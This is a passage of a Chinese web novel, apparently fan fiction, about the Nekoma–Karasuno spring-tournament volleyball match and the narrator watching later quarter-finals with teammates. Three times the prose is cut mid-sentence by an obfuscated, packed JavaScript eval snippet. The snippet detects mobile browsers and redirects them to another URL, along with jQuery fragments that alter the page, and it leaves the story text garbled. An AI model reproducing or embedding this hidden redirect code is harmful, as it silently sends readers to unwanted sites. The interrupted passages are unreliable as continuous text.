萩原跟着节奏挥应援棒的动作一顿，随即琢磨两秒，难免担忧地转头看向旁边虽然看着还是初中生、但明显很懂排球的小茜，“分差已经到了四分了啊，没问题吗？” ——现在的比分正是8:12，音驹落后。 “没问题。”闻言。小茜几乎是毫不犹豫地这么回答，语气坚定而笃定，她充满信任地、骄傲地道，“音驹的本事还没彻底发挥出来呢，萩 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乌野完全贯彻多点进攻，攻击性强得让观众都忍不住咬牙切齿，音驹的拦网被带得到处跑，只能多少有些仓促地接下，随即返一个乌野的机会球过去。 再次进攻，排球穿过拦网砸向后场，匆忙之下，山本前辈接球失误，排球直直砸上球网下端。 刚刚拦过网的黑尾前辈眼疾手快地调整位置，下压身体将球接起，再转头追着排球看去，望见已经等在排球落点处的研磨前辈。 排球一次仅能有三次触球，不管心中有什么样的谋划，这球都该被击回乌野的场地了。 但不经意间望见研磨前辈的目光，我却猛然顿住。 ——冷静的、犀利的、看透一切般的。 于乌野候场区的选手大声喊着的“机会球！”的声音中，他抬手，将球上手接球地传去了乌野的后场。 二传上前准备传球，攻手后退准备助跑，于是那颗轻飘飘的“机会球”，便这么轻轻落在了地上。 ——一片寂静。 109. 第一百零九个小岛 “太帅了！！” 所有人都饱含诧异地寂静下来的时候，音驹这边应援的拉拉队虽然没看懂到底是怎么个情况，但还是不管三七二十一地率先一股脑地欢呼起来。 ——比分27:25，音驹获胜，大比分1:0，音驹领先。 “啊，虽然乌野这球的确是失误了，但孤爪同学的回球真的非常巧妙啊。瞄准了影山同学上前时的路径和其他选手们发起攻势时会交错的地点，还打在了自由球员的另一侧。” “乌野是同其他队伍相比攻击意识非常强的队伍，刚刚就是所有人都太想攻击了，才会造成这样的失误啊。” 听着解说明了却犀利的讲解，萩原恍然大悟地“喔”了一声，“原来是这样啊。” “还是第一次见到孤爪同学这样的类型呢。”他摸着下巴回想一会儿，确定自己在此之前的确没有见过什么这种类型的人，不禁敬佩道，“真厉害啊。” 他所熟悉的那些人大多都是四肢发达的类型，一个赛一个能打，他混在其中甚至都得被比下去，然后得到一句不擅武力的评价。 但这个人跟他所见过的所有人都不一样。 沉默的、安静的、冷静的、犀利的。 ——这位身体素质在所有选手中称不上好的二传手，他的武器还真是出乎意料的隐蔽而暗藏锋芒啊。 萩原这么感慨。 第一局比赛结束，工作人员带着拖把上来对场地进行简单的清洁、以免滴在地板上的汗水影响到比赛。 选手们在这个更换场地后的空档纷纷围在教练席旁组成一个圈，听坐在教练椅上的研磨分析局势。 分完毛巾水瓶，我刚站回给二传和主攻手腾位置休息的教练和监督的旁边，便听研磨前辈微微抬眸，看着黑尾前辈道：“能用强力的发球得分的人，就直接发球得分吧。” 黑尾前辈沉默两秒，随即吐槽，“你这口气跟吃饭时说‘想加小菜的人就自己加点’一样。” ——完全没什么用。 “但是小黑，你说过的吧。”研磨前辈道，“无论那种打法，都没有完美的攻略方式，假设翔阳他平时都能得十分，我们只要让他少得两三分就行了。” 黑尾还没反应，我旁边的直井监督便率先有些惊讶地道：“今天研磨他果然比较积极啊。” 闻言，我将注意力收回来，偏头看了直井监督一眼，想了想，道：“因为研磨前辈他一直很期待跟日向打一场比赛吧，正式的那种。” ——因为正式，所以不能反悔、不能重来，一旦输了，一切就全都结束了的比赛。 ——去大闹一场吧！ # 第二局比赛，福永发球瞄准日向，企图封锁乌野的快攻，却被他直接横向助跑化解，然后将影山传给他的球实实在在地扣下。 啊，影山在说。 ——休想仅凭着发球针对日向就封锁他们乌野的快攻。 乌野得分，比分0:1。 两个二传手在网前非常激烈地用眼神刀光剑影地厮杀一番，随即被上来跟研磨前辈说自己想法的福永前辈打断了眼神互瞪。 研磨前辈轻声回了一句，随即，在裁判示意发球的哨声响起之前，提高声音唤了日向一声。 “——翔阳。” 橙发的小个子副攻闻声回头望来，表情稍带些被突然叫到的茫然。 研磨安静地、无声地眯起眼，弯着唇朝他笑日向，“你要继续当个有趣的人哦。” ……笑得好渗人啊，研磨前辈。 虽然不知道他们说了什么，但不经意望见研磨前辈的表情时，我还是不自觉缩了缩脖子，感觉稍微有点冷。 再抬眼，看见被他注视着的对象日向悚然一惊地猛地后退了一大步，下意识下压了身子，整个人呈出一股应激般的警戒状态。 他无意识地睁大眼睛，死死地盯着研磨。 哨声响起，准备发球，我于是收回视线，移向正站在乌野的底线后的发球员。 ——比赛过半时，音驹正处于落后乌野两分的状态中。 但这并不代表音驹正处在劣势当中。 针对日向的计划逐渐生效，除却封锁他的跳跃、他的机会之外，研磨前辈还专门准 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哨声伴着欢呼声一同响起，研磨却盯着网对面的日向定定地站在原地。 ——刷的boss竟然是成长能力max的、可以临场学习突破的类型啊。 话还是说早了……boss开二形态了。 他静静地、脚下生了根似地站在原地，大脑却飞速转了起来。 既然魔法攻击和间接攻击都失效了的话—— 他猛地转身至正对着教练席的方向，随即直直地抬眸望向猫又教练。 他们对视一眼，随即下一球，影山发球失误而音驹得分之后，犬冈举着二号的牌子换下了海前辈，站到了前排。 他跟灰羽两个海拔极优秀的拦网便这么伫立网前。 ——那就加高拦网，用物理攻击好了。 两面盾牌已经装备完毕了。 ——来吧，翔阳。 110. 第一百一十个小岛 犬冈上场针对日向的战术的确颇有成效，但已经恢复状态的日向也同样难缠至极。 ——比分24：25，乌野局点，日向发球。 他对发球并无过多涉猎，所以仅是普通的上手发球，被山本前辈接起传给研磨，再被二传传给高高跃起的犬冈，只可惜这一球被双人拦网拦到，弹起变成了乌野的机会球。 音驹虽没有在这一波攻击中失分，但由山本前辈打出的直线球却被位于底线的日向接到，高高弹起，直直落在了音驹因同时多点攻击而导致防守短暂空缺的后场底线处。 ——比分24:26，乌野获胜，大比分1:1，双方平分。 我望着因进入第三局而清零的记分牌，视线偏移，落在上面1:1平的大比分上，半晌，不自觉再次攥紧了原本因恍然而无意识松开的拳。 虽然目前局数是一比一平，但事实上，拿下第二局的队伍其实会稍微占据上风一点，再加上日向重新恢复状态、彻底振作起来了…… 稍微、有点，悬了啊。 不自觉地，我舌尖抵住上颚，忍不住深吸口气。 下一秒，耳边响起灰羽响亮的、自信的声音。 他充满斗志地一拍胸脯，大声道：“我们拿出气势压倒他们吧！我会负责拿下二十分的！剩下五分就交给大家了！” “你知道吗？”黑尾接话，“健身的时候，与其做一百次普通的仰卧起坐，不如增加负重、全力做完十次的效果好。” 夜久迷惑地看着他，“你在说什么啊？” 灰羽大惊，“——诶？不是次数越多越好吗？？” 黑尾无语，“这里不是这个意思，意思是……” “与其平凡地拿下二十分，不如拿下重点的一分！” 黑尾前辈认可地点头。 夜久前辈完全没懂他们的思路，“点什么头？什么重点的一分，倒是给我老老实实地得二十分啊！” 原本稍有些凝重的氛围被这一通听得人云里雾里的对话打断，我安静两秒，忍不住轻轻地弯了下眼睛。 稍微……没这么紧张了。 # 第三局比赛开始前，所有人，不管是选手、教练、还是经理，全都围成一圈。 黑尾的声音畅快而亢奋。 “我们熬过了艰苦的时间，现在进入奖励时间了。” ——去打一场不会后悔、不会遗憾的比赛吧！ # 到了第三局比赛，赛前所详细制定的、有关于针对某个选手的策略已经彻底结束、然后再消失。 现在所留下的，只有二传们对局势纯粹而冷静的预测与分析、攻手们对得分堪称执念的野望、自由人们对于不让每一球落地的决心。 是非常纯粹的、两个队伍之间的碰撞与周旋。 激烈的、热烈的、生机勃勃而充满朝气的。 战线拉得非常长而导致的后果便是第三局比赛刚刚过半，不管是哪方的选手的体力都流失严重，他们喘得像下一秒就会喘不过来气、然后因为体力不支晕倒，或是因为肺泡罢工死掉。 竭尽全力地奔跑、救球、鱼跃，再用尽全力地助跑、起跳、扣球。 比赛步入末尾，研磨前辈累得手脚发软，一下支撑不住地软倒在地上。 汗水顺着额发洒到地上，他累得喘不上气，半晌，却怔忪般扬起一个疲惫却发自内心的笑来。 “……好开心。” 他由衷的一句话将音驹所有人都震在原地。 寂静半晌，最先做出反应的反倒是球网对面的日向。 他抑制不住激动与亢奋地握进双拳，痛快地嘶吼出声。 黑尾像是被日向的声音从石塑状态拉出来了一样，他酣畅淋漓而释然地大笑起来，弯腰伸手抓住幼驯染的手，将他一把拉了起来。 “继续打比赛了，研磨。” 研磨有气无力得、看着已经出气多进气少地被拉起来，闻言情不自禁地抱怨，“……感觉，已经累得快死掉了。” 福永看着他，表情认真，“研磨，排球这项运动是死不了人的。” 他微微一怔，哪怕是处于这种状态下，也还是不受控制地笑了一下，“……哈。” 比赛继续……但对比之前，现在场上的选手，都是一副看起来已经彻底抛却了比分，只一心沉浸在纯粹的比赛中的样子。 酸胀的感觉自第三局比赛开始就随时间推移一点点地在眼眶周围堆积，但我始终恍若未觉，直到终于不受控制地想哭起来时，我才终于意识到这一点。 ——比分21:24，乌野赛点。 所有人都拼了命般地追着那颗黄蓝相间的排球，扣球、拦网、再传到对面，随后又是新的一轮。 耳畔尽是自己粗重的、急促的呼吸声，孤爪研磨仰头、抬手，自然而然地摆出随着练习这么多年而仿佛已经刻入骨髓、变成肌肉记忆的托球动作。 触球，而后手指发力，再将球托出。 ——海前辈刚接完一传，没法参与进攻；列夫虽然刚拦过网但可以攻击，只是前方有站定的拦网，不是最优选择；而……诶？ 眼见排球并未如自己想的那样被托起，他不受控制地微微睁大了眼。 ……汗？ # 球因为其上占满的汗水滑掉了。 看着海前辈和福永前辈鱼跃出去、却还是没有救起的排球，我不自觉地有些发懵。 解说的声音响在耳侧，我却像跟世界隔了一层膜一样，响在耳边的声音模模糊糊的，听不太真切。 我下意识望向记分牌，盯着上面的21:25看了一会儿。 分差大于两分的情况下，先积满25分的队伍获胜，也就是说…… 比分21:25，乌野获胜。 ……大比分1:2，音驹落败。 垂在身侧的指尖忽地微微颤了一下，下一秒，排山倒海的掌声与欢呼喝彩声便猛地打破了那层膜，而后传入我的耳朵。 我怔忪般转眼，望向场上随着比赛结束终于放松下来的选手们，视线下意识追着我所最为熟悉的人而去。 半道，我忽地听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309460|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见研磨前辈的声音。 他正完全地放松下来，仰倒在地上，睁眼望向俯视着自己的黑尾，由衷地叫了他一声，“小黑。” “……谢谢你教我打排球。” 我猛地愣住，随即下意识顺着声音传来的地方望过去。 研磨前辈正拖着疲惫的身体往场边走，下一秒，黑尾前辈隐隐带着颤音的声音猛地响起。 “等等等等——你给我等一下！” 研磨被吓了一跳，回头，有些有气无力地问他，“你干嘛生气啊？” 队员们见状，纷纷开怀地、肆意地大笑起来。 我不自觉也跟着弯了下唇角，无声笑了下，脑海中，却忽地得到灵感般冒出些什么来。 啊，这么说的话…… 我应该也有需要感谢的人吧。 记忆一幕幕倒回，穿过东京区的春高预选赛、穿过中间跟排球部的大家一起去游乐园的经历、再穿过处于盛夏的那两场合宿与IH预赛…… 我回到处于春天的那个雨夜。 雨幕将空气染得湿冷，冰凉的寒意缠上四肢，我忽地想起，当时站在檐下看着雨帘发愣的、过去的那个我的想法。 【……要直接跑回家吗？雨好像要下大了。】 我抬眸，望向体育馆顶部明亮到甚至有些刺目的照明灯。 明亮的场景慢慢同当时的湿冷黑暗重合，再将后者彻底覆盖。 视线不知何时变得模糊，我咬了咬舌尖，微微睁大眼，随即回头望向夜久。 他正看着我、准备向我走来，同我对视的那一瞬间似是微微怔了怔，随即下意识柔和了眉眼，朝我露出一个笑来。 我没有停在原地。 在望见他的那一刻，身体就自发地动起来。 热意在我扑进他怀里拥住他的那一瞬间自肌肤相贴的地方朝我兜头罩过来，我下意识眨了眨眼，视野便一下清晰起来。 紧随而来的，则是划过面颊的冰凉湿意。 我却控制不住地笑起来。 偏头，将脸颊蹭上他颈窝，我收紧了环住他腰的胳膊，笑着、却无端有点哽咽地道。 “比赛超级、超级精彩。” “——这是我看过的、最精彩的比赛。” 我感觉到他僵了两秒后，便低头回抱住我。 他语气也是带着笑的。 “——这是我们的荣幸。” # 在底线处列队、鞠躬，再向前跑向拦网，同对位选手握手。 雷鸣的掌声中，他们同自己的对手和朋友相互握手、拥抱，完成最后的比赛礼节，而后再回到底线处列队，随即弯腰向拉拉队鞠躬致谢。 待一切结束，选手们纷纷围向各自的教练。 “详细的比赛反省就晚点再说，”猫又教练笑着道，“这是场非常精彩的好比赛，谢谢你们。” 所有人深深地向他鞠躬，“——感谢教练的指导！！” # ——这个夏天结束了。 ——但没关系，下个夏天就要到了。 111. 后日谈1 下个夏天到不到的另说，反正现在正处冬天，如果在比赛之后依旧只穿着短袖短裤的运动服四处跑的话，就算是夜久前辈也会感冒。 他一边简单套上外套、准备待会儿去准备区再好好换下运动服，一边没忍住地吐槽我，“为什么一副我是超人的口吻？我感冒很奇怪吗？” 我蹲在他旁边，默默沉浸在刚刚的比赛里，正不自觉转头，盯着已经换了一批选手、下一批选手甚至已经开始热身了的球场发愣，一时没反应过来他的话。 他注意到我的视线，于是便也抱着点不知名的情绪跟我一起盯着球场看了一会儿，半晌，微微叹了口气，“……现在回想起来还是有点不真实啊。” 垃圾场决战、高中最后一场比赛就这么结束了……这一刻真的来临的时候，首先升起的竟然是无法抑制的恍惚与不真实的空虚感。 总觉得结束得有点草率……不是指最后一分的丢分草率，也没有说这场比赛不够精彩的意思，只是为其赋上“最后一场比赛”和“垃圾场决战”的前缀与标签之后，就总觉得这场比赛应该再盛大、再轰轰烈烈一点才对。 ……总觉得不该在这里结束才对。大概是这样的想法。 “不过真要说的话，又感觉结束在这里其实也没什么不好。”他想了一会儿，又道。 “嗯。”我嗓音无端有点哑，“……毕竟是垃圾场决战啊。” 高中时代最后一场比赛是同几十年来的竞争对手兼伙伴的唯一一场正式比赛——这何谈不是一种幸运呢。 我们一同安静了一会儿。 半晌，夜久伸手轻轻拍了拍我的发顶，随即拉上背包拉链，撑着膝盖站起来。 “走啦，”他语气隐约带着点释然满足的笑意，“先吃饭，下午还有比赛呢。” ——还不止一场。 刚刚闯过第三轮的枭谷的比赛、刚刚赢下垃圾场决战的乌野的比赛，除此之外还有井闼山第三轮的比赛——不过井闼山刚好在垃圾场决战后不久、差不多吃饭的时间进行，音驹大部分人都不打算舍弃吃饭的时间去看。 反正都已经淘汰了，也不是熟识的球队，去不去都看个人。 至少我和夜久前辈不打算去——不过阵平哥和研二哥倒是没准，研二哥看比赛看得还挺开心，他说不准会拉着阵平哥一起四处看。 一边想着，我一边伸手握住夜久前辈朝我伸来的手，借力起身，伸手理了理攀上点褶皱的衣服，随即跟他一同往休息区走。 “不知道最后谁会是冠军。”我一边在心里算全国级且还未被淘汰的球队，一边不自觉地嘀嘀咕咕跟夜久前辈这么说。 夜久前辈闻言也提起了点兴致，想了想，客观评价道：“按实际来说的话，应该还是井闼山他们最有可能吧？JOC得奖的二传、全国前三主攻手、还有高中第一自由人，其他人也都是各方面都很完善的六边形战士，综合实力超强的。” 我注意点一歪，问：“还能不按实际来说吗？” 他看我一眼，煞有其事地朝我点点头，“可以啊，不按实际来说的话，我觉得乌野拿冠军的可能更大。” “……？”我沉思两秒，有点犹豫，“他们离冠军应该还差一点吧，替补成员无一例外实力不够，这几天这么高强度的比赛，万一出事了就完了。” “啊，那我倒没想这么多。”夜久实话实说，“只是他们是冠军的话，我们就是冠军的宿敌了——你不觉得音驹一下子就高大上起来了吗？” “……”我无言地侧头看了他一眼，“……夜久前辈，你被木兔前辈传染了吗？” 他耸耸肩，动了动手，换了个牵手姿势，将还带着热意的五指扣进我指间、收紧，而后突然后知后觉地意识到什么，“……等等，我手上有汗。” 他训练比赛结束在洗完手之前一般都不会来碰我，结果今天心情起伏太大，完全忘掉了。 我对此没有很在意，只顺着他的话低头看了看我们正交握着的手，“我要是介意的话刚刚就不会过去抱你了。” “这倒也是……”夜久应了声，随即突然想起些什么，侧头看过来，“说起来，你还是头一回这么激动吧。” 明明平时在公众场合完全不会做出除牵手之外任何比较亲密的动作来着，他刚刚完全只是条件反射地下意识接住我，意识到发生什么了的那一刻可谓是真真切切地被惊到了。 我闻言有点沉默地安静两秒，“……虽然再来一次我不出意外也会一时上头过去抱你所以后悔也没用但是我还是有点后悔啊比赛刚刚结束又是全国级的四分之一决赛录像机肯定还在录救命救命救命。” 他被我一连串语速飞快且一个标点符号也没有的碎碎念惊了一下，顿了两秒才反应过来我在说什么，不自觉有点哭笑不得地安慰我，“不一定会录到的，这种赛事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯……”我在旁边顺势联想了一下，“按照木兔前辈的思维，他会觉得这是自己成为全国第一主攻手的必经之路吧。” 亲自打败全国三大主攻手的其中之三，徒弟月岛又在春高预选赛上打败了最后一个，换算一下的话，就是他打败了全国三大主攻手、成为了第一。 黑尾前辈闻言微妙地沉摸了一会儿，随即开口：“小游。” 我转头，“嗯？” 他沉重道：“太了解木兔的思维容易变笨，你小心点。” “……？” “我会转告给木兔前辈的，黑尾前辈。” “……欸欸欸？？” 112. 后日谈2 吃完饭，收拾好过程中弄出来的垃圾，我们便就此宣布自由活动——说是这么说，但最后不出意外还是会相遇在观赛区的。 我对看哪场比赛倒没什么所谓，加上稍微有点困了，便干脆直接跟着夜久前辈走——而后在半道遇上了户美的主将大将前辈。 以及、他旁边还有一个棕发的女孩子。 我跟大将前辈没什么交集、加上多少有点习惯以黑尾前辈为当事人而发生的拌嘴吵闹，便没太注意他跟大将前辈吵了什么，而是有点好奇地侧眸看向不远处停留在原地没有过来的女孩子。 貌似是大将前辈跟她说了些什么之后才走的……所以是为了不让她听到他其实是过来挑衅的吗？ 虽然听内容其实更有安慰的味道，就是那种比较别扭的“输了很正常没必要难过伤心”的感觉——但听语气不管怎么说都是在挑衅吧，说幸灾乐祸也没关系了。 “欢迎各位加入失败者联盟”什么的，这个人在对刚输了比赛的人贴脸开大什么呢。 我一边在心里吐槽，一边不经意抬眼，忽地注意到刚刚那个听对话内容貌似是大将前辈的女朋友的女孩子正在往这边走。 而大将前辈正在说垃圾话。 黑尾瞄了眼他身后，好心给出建议，“大将同学，注意你的言辞，不然我录音了。” 大将不屑一顾，“少废话！白痴！” 下一秒，一道清亮的女声从他身后传来，“已经聊完了吗？” “？！！” 眼见大将一个激灵猛回头，立刻收敛了原本为了过来嘴炮而挂上的挑衅嘴脸，转而挂上一副笑脸试图不动声色地转移话题的样子，我颇为震撼。 “……大将前辈他女朋友应该全都听到了吧，那个距离。”望着他们离去的背影，我卡了两秒，语气犹豫地说，“但好像没有很惊讶的样子？” “你可以理解为这是他们两个人的相处方式。”黑尾前辈没太在意，一边转头看向旁边的赛事安排，一边随口回我，“反正跟你和夜久没什么关系。” “？” 我迷惑，还没来得及开口问，研磨前辈的声音便从旁边的楼梯上传来。 “C场地的第三轮比赛也已经结束了，”他踏上最后一级台阶，“井闼山胜，比分2-0。” 黑尾被顺势引走了注意，“那应该就是木兔他们的比赛先开打了。” 枭谷对狢坂，全国五大主攻手之一的木兔光太郎对全国三大主攻手之一的桐生八。 “说起来，”夜久前辈伸手撑着二楼围栏朝下望去，若有所思地道，“木兔是不是从来没和桐生对上过啊？” 海想了想，“是吧，枭谷和狢坂虽然基本年年都能进全国，但这两个人貌似还真没在正式比赛上对上过。” “是命运之战。”福永表情严肃地接话。 “倒也没有到这个程度吧……”研磨前辈手揣在队服口袋的兜里，闻言稍有点无言般侧头看了福永前辈一眼，淡淡吐槽道。 一边随意聊着天，我们一边在观众席上找好了位置坐下，准备开始看友校的四分之一决赛——全国前五主攻手之二的比赛，光是这个名号就足够让人期待了。 这么想着，我抬头望向赛场，恰好看到木兔前辈站在场地中央，一手叉腰，一手朝天食指指向天花板，颇有气势地大喊，“我是——一指的王牌主攻手！” 全场被他这一嗓子喊得安静下来，人们纷纷将迷惑的视线投向木兔，一时气氛安静得不可思议，连枭谷的其他队员也不例外，看向木兔的前辈充满了“这家伙又在抽什么风”的莫名其妙。 黑尾前辈有点无言，“……看雀田同学的表情，她很尴尬啊。” 嗯……虽然我没看到雀田学姐的表情，但是我非常理解她。 几乎是在全场安静的那一瞬间，我就头皮发麻起来，第一时间沉默地侧身，埋头将脸蹭在旁边的夜久前辈肩前，一系列动作一气呵成，生怕晚一秒就得再进一步地感同身受到那股尴尬的气氛——明明木兔前辈本人都不在意这个吧，我到底在感同身受什么啊！ 夜久前辈沉痛地拍了拍我的头发，以表安慰——音驹这一片几乎都感同身受地尬了一下，他并不是那个例外。 研磨前辈语气虚弱，“……他在说首屈一指吗？” 手白沉默一会儿，合理分析后觉得他说得有道理，“应该是的。木兔前辈没准只记了‘首屈一指’里的‘一指’，所以称自己为‘一指的主攻手’。” “……我永远懂不了单细胞生物的脑回路。” 总之，在吐槽（主要针对木兔前辈）与闲聊中，枭谷对狢坂的比赛正式开始。 这场比赛从最初就很激烈。两位全国级的主攻手开局就火力全开地互相对轰，代入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309462|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下双方的自由人就不自觉有些毛骨悚然——感觉超痛的。 不过夜久前辈倒是很有兴致的样子，他看起来恨不得上去亲自接几个扣杀，也完全没注意到我的视线。 我无言看了他两秒，默默收回视线，觉得运动社团的社员和经理真的不能用同一个标准来衡量，至少对我真的不太友好。 木兔前辈在这场比赛的状态出奇得好，被那位我不太了解的桐生前辈得了好几分也没有切换消极模式，看起来斗志非常昂扬；反倒是一向保持着冷静思维的赤苇前辈看起来状态不太对，随着比赛推进，状态几乎是以肉眼可见的趋势在往下跌。 研磨前辈盯着局势，摸着下巴沉思两秒，随即感慨，“赤苇完全被针对了啊，狢坂的目标从始至终都是他——看起来还挺有用的，就是可惜音驹用不上。” 闻言，我有些微妙地转头看他一眼：……研磨前辈，你怎么看比赛看出了一种顿悟的感觉啊，倒是不要用那种“可惜没用过”的语气说这种话啊！ 研磨默默避开所有人投向他的或微妙或震惊或钦佩的眼神，正襟危坐目视前方地认认真真看比赛。 “赤苇估计要栽。”但看了一会儿，他又微微皱起眉，看起来颇为担忧——研磨前辈和赤苇前辈的关系还挺好的，“如果他状态回不来的话，这场比赛枭谷估计悬了。” 正如他所说，接下来的比赛里，狢坂的战术肉眼可见地有了成效。比赛更加焦灼的同时，枭谷的比分落后开来，甚至中途，赤苇前辈还因为状态太差而被教练换下了场，让替补二传替他上去了。 不过……枭谷倒也不愧被称为豪强，赤苇也不愧是在全员三年级的队伍中以二年级生的身份成为正选的二传。他在场下调整好了状态，重登赛场，同队友一起，在木兔前辈的带领下发挥出了百分之一百二十的实力，在劣势的情况下拿下了第二局的胜利。 欢呼声在场馆中此起彼伏地响起。由衷地为木兔欢呼故障的同时，我在广播里听到了乌野的名字。 隔壁B场地的比赛结束，而下一场，则是乌野和鸥台的比赛。 鉴于“宿敌”学校之间的情谊，我不自觉朝那边看去一眼。 鸥台……没记错的话，里面有个白发的、和日向一样的小个子选手，那是这届春高排当之无愧的小巨人，叫做星海光来。 是小巨人之战啊。我这么想。 113. 后日谈3 春考第三年下午的四分之一决赛，哪怕是比赛刚开始的阶段，也无疑是精彩至极的。 如枭谷对狢坂，如乌野对鸥台。 先是日向越过拦网的快攻，再是星海超出拦网的高球，两位小巨人在比赛刚开始时便互不相让地为彼此的队伍拿下一分。紧跟着，拉拉队的声音欢呼般骤然响起。 乌野、鸥台、枭谷、狢坂，四所学校的应援声交织在一起，吵嚷、热闹，构成春高排惯有的热血沸腾的交响曲。 枭谷这边的比赛逐步稳定，乌野那边的比赛还处于刚开局的试探阶段，我便不由自主地再次被乌野那边的太和鼓吸引了注意。 “之前就想说了，”我颇为好奇地多看了两眼，“他们的应援好少见的感觉，春高除了他们是不是就稻荷崎的应援是吹奏乐团啊？” “差不多。”研磨语气淡淡，“这种基本上是学校组织过来的，路费餐费住宿费都是很大的开销，但愿意负担这些的学校比较少，所以连带着这样的应援也少。” 我琢磨两秒，“那我们学校是因为穷所以才没有这样的吗？” 音驹一直挺穷的来着，批下来的经费也很少。 “那倒也不能全怪没经费吧。”夜久前辈在旁边犹豫两秒，“我们学校也没有这样的吹奏乐团啊。” 公立学校的吹奏乐社团水平普遍不好，音驹显然不是例外。 研磨前辈看来一眼，迷惑道：“那不还是因为穷？” 他们学校的吹奏乐社团甚至连自带的乐器都没有，需要学生自己带乐器去参加部活——而公立学校的学生大多家庭条件普通，一般供不起孩子学习乐器。 没记错的话，他们学校的吹奏乐社团十个人都不到吧，都快降成同好会了。 我和夜久前辈齐齐陷入沉默。 黑尾前辈在旁边“嘿”了一声，“怎么说得这么冷酷，好歹给我们的自由人和经理留点幻想的余地啊。” “……”他无言两秒，勉为其难道，“那不是因为穷，只是我们学校的吹奏乐社团水平不太好。” “……”好敷衍。 虽然因为不在赛场上、我们之间的状态还算放松，但随着比赛愈加激烈，我们逐渐也被场上的氛围影响得紧张起来，最初随意聊了两句后便逐渐没了闲聊的心思，转而将注意集中在比赛之上。 枭谷和狢坂的比赛不出意外由枭谷获胜，大比分2-1，最后一局的小比分则是25-22。他们两支队伍的焦灼倒是不体现在比分上，三局比赛都结束于25分，反观音驹的比赛就大多会拖得很长，毕竟我们是防守型的队伍。 枭谷的比赛结束之后，我们就转移了阵地，跑去乌野那边的观众席坐下，转而去看他们的比赛。 乌野第一局时和鸥台的比分拉得蛮开，20-25败，第二局比赛开始时也处在劣势。不过乌野他们倒是没有丧气的意思，在第二局比赛过半时状态趋近最佳，反倒还重新追了上去，反超了比分，并借着优势一路向前，赢下了第二局比赛。 局势一路转好，进入第三局后比分也未被拉大，双方你追我赶，乌野在中途反超后便一直处于领先一到两分的状态，直至比赛过半。 局势焦灼，每一分的拉锯都漫长而煎熬，索性乌野仍处领先状态，胜利的曙光至少看起来并不遥远，他们斗志高昂、状态俱佳——直到所有人眼睁睁看着接起一球的日向伸向田中学长的手落空、而后摇晃着一屁股坐在地上。 他被紧急带下场了。于此同时，乌野方示意比赛暂停。 我坐在观众席上，远远看着他红着眼激烈地带队老师说着什么，又被按着肩膀牢牢坐下，心中陡然生出一股不太好的预感。 “日向他……”我下意识转头看向旁边的前辈，却在望见他们齐齐凝重下来的表情时猛地意识到什么。 “情况不太妙啊，”夜久前辈皱起眉，我们因为来得晚、现在坐在后排，他便无意识往前靠了点，试图再看清一点，“发烧了？” 和日向关系很好的犬冈正有些 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乌野不比枭谷那样的老牌强校，他们的板凳池没法让他们像枭谷那样下场也依旧有人顶上，更何况下场的人是本来就绝对无法被取代的、乌野的快攻核心日向——乌野再没有像他那样敏捷又跳得高的、绝对相信二传的选手了，面对全员状态的鸥台，他们很难再像之间那样同对手打个互不相让。 ——而这时，情况甚至还没到最糟糕的时候。 命运似乎并不垂怜这所一路走来坚强地闯进春高四分之一决赛的队伍，乌野的快攻核心刚在十多分钟前因过劳发烧下场，十多分钟后，他们的拦网核心同样因肌肉使用过度而导致抽筋。 鸥台不会放过接连遭到重创而显得孱弱的对手，兵败如山倒，乌野失败已经是注定的结局。 春高第三天下午，四分之一决赛，乌野vs鸥台，大比分1-2，鸥台胜。 代表比赛结束的长哨声短暂响起后随着这场比赛的结束而一同落幕，但为激烈比赛而响的掌声却经久不散。 垃圾场决战双方都未能走出春高排那魔咒般的第三天，但日子还在继续，比赛同样未曾结束。 再过两天，春高排最终的卫冕冠军就将揭晓。 114. 后日谈4 今年的春高排意外很多。 比如种子队稻荷崎在第二轮比赛就爆冷出局， 比如往年名不见经传的乌野一路闯进四分之一决赛、又因主要队员接二连三下场而止步春高的魔之第三天， 比如剑指冠军的井闼山因二传受伤而折戟于四分之一决赛， 比如一路赢到决赛的枭谷输给了一林、在今年的春高中仅得了亚军。 “木兔那家伙气死了都，”看完最后一天比赛之后，我们几个来看比赛了的音驹成员凑在一起吃饭时，黑尾前辈撑着下巴这么道，“他自从知道井闼山出局了就一直心心念念着冠军，说是毕业前一定要站上最高领奖台一次。” 闻言，灰羽捏着筷子沉思两秒，“一林……一林他们什么来头啊，之前好像都没有听说过的样子。” “正常。他们跟我们不是一个分组，我们没分析过。”研磨随口道，“毕竟我们打进半决赛的可能不大。不过我没记错的话，他们也是偏向稳健的球风，没什么有名的选手。” 所以连带着一林这支队伍也不算出名，呈现出来的效果就是灰羽口中的“没有听说过的样子”。 “不过之后就该出名了吧。”芝山破有些憧憬，“春高冠军呢。” “说到这里，”黑尾想到什么，“时隔五年打进全国，咱们音驹明年的生源估计也不会太差。” 能再来一个一米九就好了，最好别像灰羽那样是个完全的新手。 他颇为真挚地盼望了一下。毕竟真再来一个灰羽的话，研磨得第一个罢工。 ……哦不对，他明年就毕业了。 黑尾豁然开朗：那还是再来几个一米九吧，是灰羽也没问题。 一米九最重要。 